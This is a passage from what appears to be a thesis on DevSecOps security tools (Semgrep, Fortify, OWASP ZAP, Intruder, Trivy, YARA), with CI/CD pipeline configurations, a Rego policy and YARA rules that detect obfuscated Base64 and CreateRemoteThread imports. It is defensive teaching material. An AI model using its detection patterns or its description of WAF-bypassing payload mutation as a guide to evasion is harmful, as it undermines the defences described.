message: "XSS risk: Untrusted input reaches template rendering."

[20] Additionally, Semgrep has a vast database of 2,000+ community-written rules for detecting
the most common security vulnerabilities, including the ones of the OWASP Top 10, CWE Top
25, and framework-specific vulnerabilities (e.g., React, Spring)[20].

Command-Line Interface (CLI) The semgrep CLI is the backbone of pipeline integration.
Key flags:

• –config: Specify rules (auto, registry IDs, or file paths).

• –json, –sarif: Machine-readable outputs for CI systems.

• –error: Exit with code 1 if findings meet severity thresholds.

An example of a SAST scan with the CLI:

semgrep --config auto --error --severity CRITICAL,WARNING

CI/CD Integration Semgrep can be easily integrated into the most common CI/CD pipeline
tools, like GitHub Actions and Jenkins. A GitHub Actions workflow is defines as it follows:

semgrep:
runs-on: ubuntu-latest
container:

image: returntocorp/semgrep
steps:

- uses: actions/checkout@v4

- name: Run Semgrep SAST
run: |

semgrep scan \
--config=p/owasp-top-ten \
--config=p/javascript \
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--output=semgrep.sarif \
--sarif

- name: Upload SARIF to GitHub
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: semgrep.sarif

[20]

• SARIF Integration: Upload results to GitHub security section.

• Blocking Workflows: Use –error to fail builds on critical findings.

While the Jenkins flow can be defined as following:

pipeline {
agent any
stages {

stage(’Semgrep SAST’) {
steps {

sh ’docker run -v "${WORKSPACE}:/src" returntocorp/semgrep --config auto’
}

}
}

}

[20]

2.2.2 Fortify SSC

Fortify Software Security Center (SSC) is an enterprise-grade platform with a centralized platform
to manage security risks. Its SAST capabilities are reached through the Static Code Analyzer
(SCA), which is able to perform whole-program analysis on uncompiled source code, bytecode, or
even executables. The SCA analyzer does so by generating an Intermediate Representation (IR)
of the application’s operational logic, enabling vulnerability detection through abstract interpre-
tation of data and control paths. This IR will then be used for all the successive security analyses;
security-relevant portions of codes are analyzed through symbolic execution and pattern-matching
techniques against known vulnerability signatures, which are defined in the Fortify Rulepacks.
The SCA engine uses language-specific parsers and abstract syntax trees (ASTs) that are able
to go beyond lexical analysis to resolve complex language constructs. For example, in Java,
when source code lacks type information, full resolution of inheritance hierarchies and generics
is resolved through bytecode inspection. In C/C++, the preprocessor is fully evaluated, and
compiler-specific behaviors are taken into account for through architecture-dependent type sizes
and potential memory alignment issues[22]. Fortify has many other notable features, and the
most important ones are described in the next paragraphs.

Interprocedural Data Flow Analysis Fortify’s SCA engine is able to perform data flow anal-
ysis through context-sensitive analysis of tainted data across multiple methods. After the creation
of the graph representation of all possible execution paths, taint sources and sinks are mapped
using extensible XML rule definitions. The strength of the engine is that this representation is
able to track exception handling flows and asynchronous callbacks. The analyzer tracks data
flows from a source to a sink, marking taint propagation through control dependencies rather
than direct assignment, such as when a conditional branch exposes sensitive data via timing side
channels[22]. For example, in this snippet of code, the variable secret_password is not assigned
directly but can leak information via timing differences:
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if (secret_password == input):
sleep(1) # Timing side channel

[22]

Path-Sensitive Vulnerability Detection Fortify SCA is able to perform path-sensitive anal-
ysis in order to eliminate false positives that derive from infeasible execution paths through a
combination of symbolic execution and lightweight theorem proving. For example, when detect-
ing a possible SQL injection vulnerability, the engine verifies whether sanitization routines are
invoked under every and each execution flow reaching the sink. The system then models string
manipulation operations using alternative representations1, recognizing when input transforma-
tions (e.g., via regex replacement) render malicious injection payloads harmless. This approach is
particularly effective in object-oriented programming, where polymorphic functions are invoked in
a way that may route tainted data through different and not-so-clear inheritance hierarchies[22].

Integration with Build Systems and CI/CD Pipelines The integration with build systems
and CI/CD pipelines is simple thanks to the Fortify SSC command-line interface (CLI), which can
be used along with other build automation tools like Maven or Gradle. The analysis performed is
incremental through the comparison of the AST fingerprints against the previous scans, reducing
considerably computational time. In CI environments, the SCA engine can be configured as a
security gate that fails builds when new vulnerabilities are introduced, with custom threshold
policies defined through REST API or user interface. Once the analysis is terminated, the results
are packaged into a proprietary file format, namely the Fortify Project Results (FPR), which
contains vulnerability evidence in XML format, and offsets are mapped to source code lines via
debug symbol tables[22].

CI/CD Integration Architecture Fortify SSC is able to integrate with CI/CD systems by
means of plugin-based interfaces and by the use of the command line interface. The sourceanalyzer
binary is the core command, which performs the static code analysis. An example of integration
with GitHub Actions is the following:

name: Fortify SAST Pipeline
on: [push]

jobs:
fortify-sast:

runs-on: ubuntu-latest # or self-hosted
steps:

- uses: actions/checkout@v4
- name: Set up Java

uses: actions/setup-java@v3
with:

java-version: ’17’
- name: Download Fortify SCA

run: |
wget https://fortify.localhost.com/sca/latest.zip -O sca.zip
unzip sca.zip -d $FORTIFY_HOME

- name: Build with instrumentation
run: |

$FORTIFY_HOME/bin/sourceanalyzer -b $GITHUB_RUN_ID \
mvn clean install -DskipTests

- name: Perform SAST scan

1It is a computational model for parsing patterns
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run: |
$FORTIFY_HOME/bin/sourceanalyzer -b $GITHUB_RUN_ID -scan \

-f results.fpr
- name: Upload results to SSC

run: |
$FORTIFY_HOME/bin/fortifyclient uploadFPR \

-file results.fpr \
-url https://ssc.localhost.com \
-authtoken ${{ secrets.SSC_TOKEN }} \
-project testPipeline \
-version $GITHUB_SHA

[22] It’s worth specifying that the -b flag binds the build ID to the current session: this is crucial
to enable incremental scans. An example of integration into Jenkins is the following:

pipeline {
agent any
environment {

FORTIFY_HOME = ’/opt/fortify/sca’
SSC_URL = ’https://ssc.localhost.com’
PROJECT_NAME = ’Jenkins_Project’

}
stages {

stage(’SCA Translation’) {
steps {

bat """
"%FORTIFY_HOME%\\bin\\sourceanalyzer" -b %BUILD_ID% ^
mvn clean compile -DskipTests
"""

}
}
stage(’SCA Scan’) {

steps {
bat """

"%FORTIFY_HOME%\\bin\\sourceanalyzer" -b %BUILD_ID% ^
-scan -f results.fpr

"""
}

}
stage(’SSC Upload’) {

steps {
fortifyUpload failBuild: true,
fortifyCredentialsId: ’ssc-token’,
fprFile: ’results.fpr’,
projectName: env.PROJECT_NAME,
projectVersion: env.BUILD_NUMBER

}
}

}
post {

always {
deleteDir() // Clean workspace

}
}

}

[22]
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2.2.3 A comparison between Semgrep and Fortify SSC

In the SAST domain, Semgrep and Fortify SSC represent two extremes. Semgrep is fast, modular,
highly customizable, and perfect for modern pipelines. It uses a simple syntax and allows rapid
local testing. Fortify SSC, on the other hand, aims for complete, formal coverage with advanced
techniques (symbolic execution, SSA) but at the cost of increased complexity and execution time.

Feature Semgrep Fortify SSC
Feature Semgrep Fortify SSC
Scan duration Very Fast Slow (even more on large codebases)
Precision Medium (low noise) High (with path sensitivity)
Taint analysis Basic Extended
Personalization High (YAML rules) Limited (based on Rulepacks)
IDE integration Possible Missing
CI/CD Fast integration (GitHub, Jenkins) Possible, but complex
Reporting SARIF, JSON Proprietary (FPR)

Table 2.2. Comparison between Semgrep and Fortify SSC

In summary, Semgrep is ideal for an iterative and continuous approach, while Fortify is better
suited for in-depth and regulated reviews, such as in banking or mission-critical environments.

2.3 Introduction to DAST tools

Dynamic Application Security Testing (DAST) has as a main purpose the identification of vulner-
abilities in dynamic contexts, mainly in web applications and web services, by using a black-box
system. Automatic DAST tools are able to scan applications during their running state through
exposed endpoints—e.g., HTTPS ports or APIs—in order to analyze the real exploitability by
executing known malicious attack vectors. This behavior mimics real-world attacks and exploits
and uncovers vulnerabilities that static tools are not able to detect. In the modern state of the
DevSecOps pipeline, DAST scans are an integral component and can be integrated across devel-
opment, staging, and production environments and are able to act as a security gate to prevent
dangerous builds from going through[23].

The two main objectives reached by a DAST scan are to provide evidence and proof of the
existence of exploitable vulnerabilities during runtime and to prove the effectiveness of defensive
techniques, like input sanitization, authentication protocols, and access control. DAST tools,
during the scan, provide insights into vulnerabilities found,—e.g SQL injection (SQLi), misconfig-
ured Cross-Origin Resource Sharing policies (CORS), cross-site scripting (XSS), and server-side
request forgery (SSRF). The scan is performed without knowledge about the website source code
or architecture, meaning that it has the same knowledge as an external attacker. The output of an
automatic DAST scan is the list of endpoints scanned, eventual vulnerabilities found, a possible
working exploit, and detailed remediation guidelines for mitigating itib..

DAST tools are able to perform automatically crawling, payload injection, session manage-
ment, and HTTP response analysis. In the first phase, the crawling module discovers the attack
surface by recursively navigating the application endpoints, then malicious payload injections are
deployed in search of vulnerabilities. These payloads comprehend JavaScript payloads, SQL frag-
ments, or even OS command strings for path traversal. The session handling capabilities maintain
stateful interactions, making it possible to test authentic workflows and role-based access controls
(RBAC). HTTP/HTTPS responses are then parsed and analyzed for suspicious behavior, such
as too explicit database error messages or unexpected redirectsib..

Runtime Behavior Assessment DAST tools are the primary tool to choose for finding vul-
nerabilities that are only detectable during execution, such as race conditions, memory leaks, or
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insecure session handling. For example, a web application might perform a sanitization operation
correctly for user inputs only during initialization but fail to revalidate them during an asyn-
chronous call, leading to stored XSS vulnerabilities. Runtime behaviors like response times, error
codes, and network traffic are monitored, and anomalies are identified. For identifying multi-step
exploits, such as CSRF attacks, DAST tools employ stateful testing so that they can test opera-
tions that require authenticated sessions and sequential transactions. Furthermore, DAST tools
can test for the strength of runtime security services like web application firewalls (WAFs) or
intrusion prevention systems (IPS) by analyzing whether attack payloads are successfully blocked
or logged[24].

Automated Exploit Testing DAST tools, during their automated scans, are able to probe a
multitude of attack vectors with almost no human intervention. One of the most effective tech-
niques is employed by fuzzing algorithms, which can generate permutations of malicious inputs,
URL parameters, malicious headers, cookies, and API payloads. In each injection attempt, the
tool analyzes the application’s behavior: a delayed response might mean a potential SQLi vulner-
ability, while rendered JavaScript payloads attest to the existence of an XSS vulnerability[24].

2.3.1 OWASP ZAP

OWASP Zed Attack Proxy (ZAP) is a free and open-source security testing tool that operates as
a man-in-the-middle (MITM) proxy with a modular architecture, and it is designed for thorough
inspection and manipulation of HTTP/HTTPS traffic. Its DAST capabilities can be described
with three foundational components: the spider, the scanner, and the scripting engine[25].

The spider, called in the first phase, recursively parses DOM structures and JavaScript execu-
tion contexts using a headless browser (Chromium via Selenium), enabling accurate representation
of single-page applications. The spider builds dynamically the tree of URLs through both breadth-
first and depth-first traversal algorithms, abiding by the robots.txt directives—unless explicitly
overridden[25].

ZAP’s scanner employs simultaneously both a rule-based and a machine-learning approach for
vulnerability detection. Asynchronous passive scanning is performed by computing a signature on
proxied traffic and matching it against the Common Vulnerability Enumeration (CVE) database
and additionally performing heuristic pattern recognition for issues like insecure cookies. Active
scanning instead utilizes a fuzzing model to inject encoded payloads via random permutations
of HTML, JavaScript, and SQL escape sequences while analyzing server responses for suspicious
behavior. In order to avoid denial-of-service conditions, the scanner’s concurrency controls manage
thread allocation based on target response times[25].

ZAP exposes multiple APIs reachable through REST calls, which makes it possible to have
full control over ZAP’s capabilities and operations. Manual scans can be performed this way,
and improved control over the single operations is obtained. When authenticated workflows
are needed, they are handled with scriptable Contexts with multiple authentication methods,
such as OAuth2 token negotiation, CSRF token extraction via DOM scraping, and multi-factor
authentication simulation (MFA) through headless browser automation[25].

Integration into GitHub Actions The GitHub Actions workflow integration leverages ZAP’s
self-hosted environment to execute headless scans. Below is a YAML file that triggers on pushes
to the main branch and performs an automated DAST scan on TARGET_URL:

name: OWASP ZAP DAST Scan

on:
push:
branches: ["main"]

jobs:
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zap_scan:
name: OWASP ZAP DAST Scan
runs-on: self-hosted

steps:
- name: Checkout repository
uses: actions/checkout@v4

- name: Set up Java 17
uses: actions/setup-java@v3

- name: Download and run OWASP ZAP
run: |
ZAP_URL="[...]/v16/ZAP_v16_Linux.tar.gz"
wget -q -O zap.tar.gz "$ZAP_URL"
tar -xzf zap.tar.gz

- name: Run OWASP ZAP Baseline Scan
run: |
$ZAP_HOME/zap.sh \
-cmd -quickurl "${{ secrets.TARGET_URL }}" \
-quickprogress \
-quickout /home/my_user/zap_report.json

- name: Upload ZAP Report as Artifact
uses: actions/upload-artifact@v4
with:
name: zap-report
path: /home/my_user/zap_report.json

Integration into Jenkins Pipeline This example of Jenkins integration utilizes the ZAP CLI
plugin with the pipeline DSL for state management:

pipeline {
agent { docker ’owasp/zap2docker-stable’ }
stages {
stage(’DAST Scan’) {
steps {
sh ’’’
zap-cli --zap-url http://localhost:8080 \
spider -c Jenkins_Context https://target-app.com

zap-cli --zap-url http://localhost:8080 \
active-scan -c Jenkins_Context \
-p xss,sqli -l Medium

zap-cli --zap-url http://localhost:8080 \
report -o report.html -f html

’’’
}

}
stage(’Archive Results’) {
steps {
archiveArtifacts ’report.html’

}
}

}
}
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The pipeline initializes a ZAP daemon (–zap-url) to preserve session state across each step.
Authentication credentials are stored in Jenkins’ credential manager. Finally, the -p flag filters
scan rules for the specified CWE categories (XSS, SQLi).

2.3.2 Intruder

Intruder is an enterprise-grade proprietary tool that is powered by industry-leading scanners,
such as Tenable, Nuclei, OpenVAS, and ZAP. Depending on the license, Intruder checks your sys-
tems for 75+ web-layer security vulnerabilities (such as SQL injection and cross-site scripting),
140,000+ infrastructure weaknesses (such as remote code execution flaws), and other security
misconfigurations (such as weak encryption configurations and systems that are unnecessarily
exposed). While legacy DAST solutions were designed for monolithic architectures, Intruder tar-
gets modern application architectures, acknowledging that essentially they are living entities—by
means of redeployment, scaled vertically and horizontally, and running in an inherently ephemeral
cloud environment. Its mission, as it can be read from their website, is to provide high-performance
scans without any overwhelming effect on existing infrastructure and to provide extreme simplicity
of deployment. The core features of Intruder are described in the following sections[26].

Adaptive Scanning Engine The scanning engine employed by Intruder has an adaptive at-
tack surface, adjusted during crawling by the real-time behavior of the application. As it is a
dynamic crawler, it is able to use bidirectional communication with target endpoints to catch
state changes coming from payload injection. The engine, then, leverages HTTP/2 multiplexing
to parallelize requests, maintaining session integrity through cookie management and JWT token
auto-detection. This makes it possible to precisely forge parameterized attack vectors for single-
page applications (SPAs) and RESTful APIs, despite possible client-side rendering or GraphQL
introspection[26].

Context-Aware Payload Generation Payload generation is handled by the system by com-
bining deterministic fuzzing with machine learning-driven pattern recognition. It is able to scan
response headers, returned HTTP status codes, and content-type declarations and forge context-
appropriate attack vectors. For example, when encountering a Content-Type: application/-
json header, Intruder automatically tries the JSON injection payload over traditional SQLi
strings. The system tries side-channel timing attacks by comparing response times of harmless
and malicious requests, enabling it to bypass simple Web Application Firewalls (WAFs) through
incremental payload mutation[26].

Cloud-Native Orchestration Intruder employs a distributed architecture, implemented through
Kubernetes ephemeral containers, which will perform the scans. Each specific vulnerability class
is handled with a different deployed microservice, e.g SQLi microservice or an SSRF microservice.
The strength of this architecture lies in its potential to be scaled horizontally during enterprise-
sized scans while maintaining at the same time strict network segmentation between scanner
nodes. The orchestrator is set up so that it dynamically allocates resources based on the need,
based on data obtained during the reconnaissance phase, like the complexity or the number of
endpoints to scan. This is crucial to optimize scan duration and fast threat detection[26].

API Security Testing A notable feature of Intruder is its ability to detect discrepancies across
declared and actual API behavior. The application engine is configured to test automatically
for suspicious content type handling in PATCH requests, or missing CORS headers on OPTIONS
endpoints, and inconsistent JWT validation across microservices. Furthermore, the scanner is
able to perform statistical time-series analysis by measuring response timing variations in order
to detect rate-limiting bypass opportunities[26].
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GitHub Actions Implementation A possible integration of Intruder into a GitHub Actions
workflow is the following:

name: Intruder DAST Scan
on: [push]

jobs:
intruder-scan:

runs-on: ubuntu-latest
steps:
- name: Checkout code

uses: actions/checkout@v3

- name: Setup Node.js
uses: actions/setup-node@v3
with:

node-version: 18.x

- name: Install Intruder CLI
run: npm install -g @intruder/cli

- name: Authenticate
env:

INTRUDER_API_KEY: ${{ secrets.INTRUDER_API_KEY }}
run: intruder auth:login --api-key $INTRUDER_API_KEY

- name: Trigger Scan
run: |

intruder scan:create \
--target https://${STAGING_ENV}/api/v2 \
--profile critical-endpoints \
--wait

- name: Parse Results
run: intruder results:export --format junit > results.xml

- name: Upload Artifacts
uses: actions/upload-artifact@v3
with:

name: intruder-results
path: results.xml

Jenkins Pipeline Implementation Here is a possible integration of Intruder into a Jenkins
workflow:

pipeline {
agent any
environment {

INTRUDER_API_KEY = credentials(’intruder-api-key’)
}
stages {

stage(’DAST Scan’) {
steps {

withEnv(["PATH+INTRUDER=/opt/intruder/bin"]) {
sh ’’’
intruder scan:create \
--target http://${STAGING_IP}:8080 \
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--config jenkins-prod.cfg \
--fail-on critical
’’’

}
}
post {

always {
archiveArtifacts artifacts: ’intruder_scan_*.json’,
allowEmptyArchive: true
junit ’intruder-report.xml’

}
}

}
}

}

2.3.3 A comparison between OWASP ZAP and Intruder

OWASP ZAP and Intruder operate in the same category, but with different goals. ZAP, open
source and flexible, is particularly suited for DevSecOps in technical environments and controlled
testing. Intruder, in contrast, is a cloud-native and commercial platform that aims for broad
coverage, ease of use, and scalable orchestration.

Feature OWASP ZAP Intruder
Architettura Proxy MITM Cloud-native
Complexity Medium High
Customization High (scripting engine) Limited
Scope Web app, API Web app, API
API testing Manual Automated (REST, JWT)
Pipeline performance Slower Optimized for CI/CD
Licensing FOSS Commercial

Table 2.3. Comparison between OWASP Zap and Intruder

ZAP excels in deep pen-testing and control contexts, while Intruder is designed for enterprise
pipelines that require continuous scanning and minimal operational friction.

2.4 Introduction to Infrastructure as Code (IaC)

Infrastructure as Code (IaC) refers to all the methodologies relating to provisioning computing
infrastructure through machine-readable files, rather than through physical hardware configu-
ration or interactive configuration tools. This kind of technique allows for the automation of
infrastructure deployment, granting consistency while simultaneously reducing the likelihood of
human error. Despite the advantages, IaC scripts—as with any code—can contain vulnerabilities
or misconfigurations that, in the right context, may lead to their exploitation[27].

In a DevSecOps environment, an automatic IaC scan represents a natural step in modern
software development, following the lead of the widespread SCA, SAST, and DAST tools. This
approach abides by the “shift-left" principles, producing infrastructure configurations that are not
only efficient and reproducible but also more secure and compliant from the outset and for their
entire software development lifecycleib..

The principle behind IaC scanning tools is to perform static code analysis on infrastructure
definitions by identifying potential security flaws, misconfigurations, and deviations from best
practices before deployment. In the same fashion as the SAST tools, IaC tools parse the code,
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checking for common patterns and issues that are known to be vulnerable, such as overly permis-
sive access controls, exposure of sensitive data, or lack of limits on resource usageib..

Incorporating security scanning of IaC code through automated scan tools should be one of the
top priorities of organizations that plan or use IaC in their infrastructure, because the benefits are
clear. It enables early detection and eventual remediation of security issues, promotes consistency
across infrastructure deployments, and—with Policy-as-a-Code (PAC) rules—facilitates compli-
ance with industry standards. As we demonstrated before, by automating security checks, it is
possible to greatly narrow the scope of the vulnerabilities that are required for manual reviews,
thereby accelerating the development process without compromising securityib..

From a practical point of view, implementing IaC scanning consists of integrating specialized
tools into the usual pipeline workflow in order to analyze the project’s IaC configuration and, at
the same time, establishing policies that define security-compliant configurations and code prac-
tices. The scanning tools then evaluate the infrastructure code against these security policies,
producing information-rich reports that highlight any security violations and potential issues.
Reports contain the findings of the tools, their severity, and their priority and are used by devel-
opers and operations teams in order to apply the necessary mitigations before the infrastructure
is deployedib..

2.4.1 Trivy open source security scanner

Trivy is an enterprise-grade open-source vulnerability scanner developed by Aqua Security, focused
on the analysis of infrastructure as code artifacts. It is designed with simplicity as its core—
no need for setup after installation—and it is independent of external environments and avoids
executing external OS commands or processes. Trivy, while supporting software composition
analysis, specializes in Infrastructure as Code security scanning, and its relative integration in
a DevSecOps pipeline. Trivy provides security practitioners with a unified tool that assimilates
declarative configuration from multiple IaC frameworks into a unified abstraction, identifying
insecure constructs, outdated module versions, and policy deviations continuously throughout
the software lifecycle[28].

Dependency Graph Construction A typical Trivy IaC scan consists of a recursive traverse
of a target directory, searching for artifacts with supported file types. For example, in a Ku-
bernetes infrastructure, it specifically searches for Dockerfiles and YAML configuration files. It
processes YAML manifests, Helm charts, and Kustomize configurations, and statically resolves re-
source dependencies and validates against Kubernetes schema versions. It is able to detect version
mismatches and deprecated APIs. When analyzing Dockerfiles, Trivy parses build instructions
layer-by-layer and evaluates the base image, build arguments—including those passed via the
CLI interface—and runtime configurations in order to identify potential security issues. Trivy
constructs a detailed model of the container images and Kubernetes resources, analyzing relation-
ships between each and every piece of the infrastructure, including pods, services, and storage
volumes, detecting and alerting about potential misconfigurations. This precise graph construc-
tion is necessary for accurately identifying common issues, such as overly permissive security
contexts, outdated base images with known flaws, or insecure mount points at the earliest stage
of the IaC lifecycle[28].

Vulnerability and Misconfiguration Detection Trivy, after building the dependency graph,
evaluates each configuration resource against its built-in IaC policy registry, which comprises
over 500 rules covering coding best practices, security compliance standards, and community-
contributed checks. Trivy’s findings are categorized by severity (from LOW through CRITICAL)
and are codified with Rego2 or native YAML definitions in order to precisely map between alleged
misconfiguration types—such as missing encryption parameters—and their mitigation advice. For

2Rego is a language inspired by Datalog, which is a decades-old query language. Rego extends Datalog to
support structured document models such as JSON
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instance, Trivy will flag an AWS S3 bucket lacking server-side encryption with an "AVD-AWS-
0031" code, suggesting a critical risk under the "data encryption" category. Security practitioners
may write inline ignore comments (# trivy:ignore:<RULE_ID>) to suppress false positives while
preserving traceability in source control. Findings are characterized, among other features, by file
paths, resource identifiers, and policy descriptions, delivering actionable insights in both human-
readable and machine-parsable formats[28].

Policy-as-Code and Customization Trivy adopts the policy-as-code model with its policy
engine and allows organizations to write (and include in version control) tailored rules alongside
IaC manifests. Security developers, in this step, are able to use the OPA’s Rego language and
define domain-specific constraints. For instance, it is possible to define a rule that enforces that
all AWS S3 buckets include an “environment" tag or even a rule that ensures that Azure SQL
databases require Transparent Data Encryption by writing it in a .rego file and placing it in
a dedicated policy directory, which then will be used as a reference by Trivy at runtime[28]. A
simple custom policy for Kubernetes might look like this:

package trivy.custom

deny[msg] {
input.Kind == "Pod"
not input.spec.securityContext.runAsNonRoot
msg := "Pods must run as non-root users"

}

These custom-made policies integrate effortlessly into Trivy’s analysis pipeline. By defining cus-
tom severity scores and additional metadata, it is possible to improve built-in analysis and security
rating. Additionally, by having policy definitions in a version-controlled environment, security re-
quirements can evolve concurrently with IaC code development, and audit processes are able to
trace the provenance of every enforcement decision[28].

CI/CD Integration Examples For GitHub Actions, Trivy can be easily integrated in a
pipeline YAML file. For example, in this snippet of code, Trivy is invoked as a step of a GitHub
Action pipeline YAML file, automatically scanning IaC code on a microservice and uploading the
results in SARIF format[28].

- name: Scan Docker image with Trivy
uses: aquasecurity/trivy-action@master
with:

image-ref: microservice:${{ github.sha }}
format: ’sarif’
output: ’trivyResults.sarif’
severity: ’HIGH,CRITICAL’
ignore-unfixed: true

- name: Upload Trivy scan results
uses: github/codeql-action/upload-sarif@v3
with:

sarif_file: ’trivyResults.sarif’

Reporting and Monitoring Trivy provides multiple options to provide feedback after a se-
curity scan. It supports the most common formats, such as SARIF for automated ingestion and
CI/CD pipelines, JSON for centralized SIEM and ticketing systems, HTML for visual dashboards,
and Markdown for inline code reviews, and it can be configured by CLI via the –format flag.
For continuous monitoring, Trivy’s GitHub Action and Jenkins pipeline integrations—as high-
lighted in the previous paragraph—are able to automatically upload scan results in a configurable
format[28].
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Example Configuration and Execution In order to demonstrate the ease of use of Trivy, we
will define the following simple Kubernetes Deployment manifest and save it as a deployment.yaml
file:

apiVersion: apps/v1
kind: Deployment
metadata:

name: nginx-deployment
spec:

replicas: 2
template:

spec:
containers:
- name: nginx

image: nginx:latest
securityContext:

privileged: true

Then, by running the following command:

trivy conf --severity HIGH,CRITICAL deployment.yaml

It will yields output akin to:

2025-04-19T10:15:23.456Z INFO Detected config file: deployment.yaml
_
|
| [CRITICAL] K8sPrivilegedContainer (Deployment/nginx-deployment)
| -> Containers must not run in privileged mode
| |___ deployment.yaml:10:11

_|

This demonstrates that Trivy provides immediate feedback on its findings, thus preventing in-
secure resources from ever reaching the production environment, embodying Trivy’s principle of
“shift-left" security[28].

2.5 Threat intelligence tools for DevSecOps Pipelines

Threat intelligence solutions have, as their main purpose, the aggregation and normalization of
vast streams of threat data (malicious IP addresses, known compromised domains, file hashes,
and malware signatures) from a multitude of channels, such as open-source software, commercial
feeds, and internal feeds, to enable security teams with useful intelligence on current threats.
Raw indicators of compromise have the need to be enriched, as the context of application is ever-
changing, and metadata—such as threat actor profiles, TTP mappings3 mappings based on the
MITRE ATT&CK framework, and detailed CVE data—enables a more informed prioritization
and decision-making[29].

According to the AV Test Institute, “over 450,000 new malicious programs (malware) and
potentially unwanted applications are registered every day"[30]: the need to leverage automated,
API-driven ingestion mechanisms is evident, and real-time feeds need to be seamlessly integrated
into DevSecOps pipelines and SIEM systems, as the quantity of data to process is growing rapidly,

3Tactics, Techniques, and Procedures
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and it is accelerating each year that passes. It is essential to facilitate continuous vulnerability
assessment and compliance checks at each stage of the software development lifecycle. Through
automation, it is possible to improve analytics and correlation between findings and analyze
enterprise telemetry to identify currently emerging threats, patterns, anomalies, and even poten-
tial zero-day exploits before deployment, strengthening the security posture. For this purpose,
community-driven platforms have emerged—such as the Malware Information Sharing Platform
(MISP), which utilizes the standardized TAXII4/STIX5 protocol to foster collaborative exchange
of IoCs, vastly improving the collective defensive and preventive measures and substantially re-
ducing the mean time to detect threatsib.

This thesis analyzes and proves that integrating a stream of updated threat data directly
into automated systems can provide valuable operational intelligence against actively exploited
vulnerabilities and current threats by comparing the results of a DevSecOps pipeline with and
without the tools described in the next three chapters. This is aided by Security Orchestration,
Automation, and Response (SOAR) tools, which ingest logs and IoCs to improve incident triage,
while machine learning models employed by the majority of tools are able to correlate IoCs with
internal telemetry to uncover subtle attacks. By shifting from reactive patching to preemptive
defense, it is possible to embed these processes into CI/CD pipelines, enabling security teams
to pivot from reactive incident response to a proactive approach. The result is that systems are
hardened against observed and proven adversary tactics, accelerating threat response and creating
a feedback cycle that adapts to the evolving threat landscape.

2.5.1 YARA

YARA, which stands for “Yet Another Recursive Acronym", is an open-source, extremely powerful
pattern-matching tool developed specifically for malware research and security incident response,
which has become the de facto standard for malware detection rule creation and sharing. Initially
developed by VirusTotal and often referred to as the “pattern-matching Swiss knife for malware
researchers", YARA provides the identification and classification of malware samples based on
textual or binary patterns, and its core functionality revolves around YARA rules—which are es-
sentially descriptive patterns that identify specific malware families, suspicious code constructs, or
IoCs within textual files, binary files, memory, and even traffic packet captures. YARA rules allow
precise identification even on newly developed techniques and ever-changing malicious software,
functioning as a form of digital DNA fingerprinting for malware[31].

YARA is a multi-platform program running on Windows, Linux, and Mac OS X, and it can
be called through CLI commands. The integration in a DevSecOps pipeline is straightforward,
and in this case, YARA serves as a critical security layer that is able to identify potential malware
in codebases, dependencies, and artifacts before they reach production environments, in the same
fashion as CVEs and CWEs. In general, pipeline integration typically involves setting up auto-
mated scanning stages, and specifically in this thesis, the pipeline implemented will use YARA
to analyze the source code against a collection of rules (both custom and pre-generated) in order
to create an alert that can be used to halt deployments when suspicious patterns are detected.
This integration can be generalized to any pipeline, providing valuable insights for organizations
that develop software that handles sensitive data, that are prone to supply chain attacks, have a
history of internal attacks, or operate in highly regulated industries where malware prevention is a
compliance requirement. YARA’s integration can be summarized by three main components: the
YARA engine that performs pattern matching, rule repositories containing detection signatures,
and integration scripts that orchestrate YARA’s capabilities inside CI/CD workflows[32].

The power of YARA comes from its flexibility and extensibility. Rules can be customized to
an organization’s specific threat landscape, adapting to an automated pipeline environment and
focusing on industry-specific malware. In this thesis, the main kinds of threats that will be intro-
duced, analyzed and ultimately defeated by YARA are supply chain attacks and insider threats.

4Trusted Automated Exchange of Intelligence Information
5Structured Threat Information Expression
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Such attacks can be detected thanks to the YARA rule syntax, which allows for complex condi-
tion expressions that combine multiple indicators and conditions, with the purpose of reducing
the false positives while maintaining high detection rates. Additionally, the tool also supports
external variables—initialized runtime—enabling dynamic rule adaptation based on the current
context or on environment-specific parameters[32]. A typical rule structure includes:

• Metadata: provides information about the rule’s purpose and creator

• Strings: Defines the patterns to match. There are three types of strings in YARA: hexadec-
imal strings, text strings and regular expressions.

• Condition statements: logical expressions determining when a rule should trigger.

[32] YARA rules are easy to write and understand, and they have a syntax that resembles the C
language. In the next paragraphs, we will discuss in detail YARA rules.

Rule Syntax and Structure As we briefly introduced before, a YARA rule comprises an
identifier, (optional) metadata, a set of string definitions, and a conditional expression. The iden-
tifier declares the rule name, while metadata fields—such as author, description, and date—offer
contextual information for maintenance and version control. Strings are labeled with identifiers
and associated with literal or regular expression patterns; for example, a hexadecimal pattern for
a PE file header is defined alongside ASCII literals representing characteristic function names.
The condition section is nothing more than common Boolean logic, which evaluates the presence
or combination of the strings[32]. A minimal rule that can be used to detect sequences of 40+
Base64 chars, with optional ’=’ padding can be written as follows:

rule Base64_Obfuscation {
meta:

description = "Detects long Base64 strings typical of obfuscated code"
author = "Luigi Papalia"
date = "2025-05-08"

strings:
$b64 = /[A-Za-z0-9+\/]{40,}={0,2}/

condition:
$b64

}

This rule is able to detect sequences of obfuscated characters, a typical behavior of malicious
software.

YARA Modules YARA provides, out-of-the-box, a variety of built-in modules—such as pe,
elf, and hash—that extract file-format-specific attributes and functions. The pe module, for
instance, provides access to function names, sections, and digital signature status of imported pe
files. It is possible to combine module attributes with string searches in order to write precise
detections; for example, to match pe files importing the CreateRemoteThread function, a rule
may be written as follows:

import "pe"

rule Suspicious_PE_Import {
meta:

author = "someone@example.com"
condition:

pe.imports("CreateRemoteThread") and pe.number_of_sections > 3
}
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In this YARA rule, files that have more than three sections and import the function “CreateRe-
moteThread" are matched[32].

Integration and Automation YARA rules can be executed manually via the YARA CLI or
integrated into automated pipelines using common script tools, such as Python bindings. The
YARA-Python library provides a simple API interface for loading rule files and scanning direc-
tories, enabling rule sets to be integrated into other tools, like malware sandboxes or continuous
threat monitoring systems[32]. The following example is a simple Python code to compile a
collection of rules (defined in generic.yar and trojan.yar) and scan a list of files follows:

import yara

rules = yara.compile(filepaths={
’generic’: ’rules/generic.yar’,
’trojan’: ’rules/trojan.yar’

})

for path in ["artifact1.bin", "artifact2.dll"]:
matches = rules.match(path)
if matches:

print(f"Rule(s) triggered in {path}: {matches}")

[32]

Testing and Validation YARA rule development is supported by test suites that include
known good and malicious samples. A serious effort on YARA rules development should be put
on the tuning of accuracy and the minimization of false positives: this is often done through the
yarac tool, which is able to pre-compile and syntax-check rules. Community frameworks—such
as the YARA-Rules repository—provide additional test materials. In general, validation involves
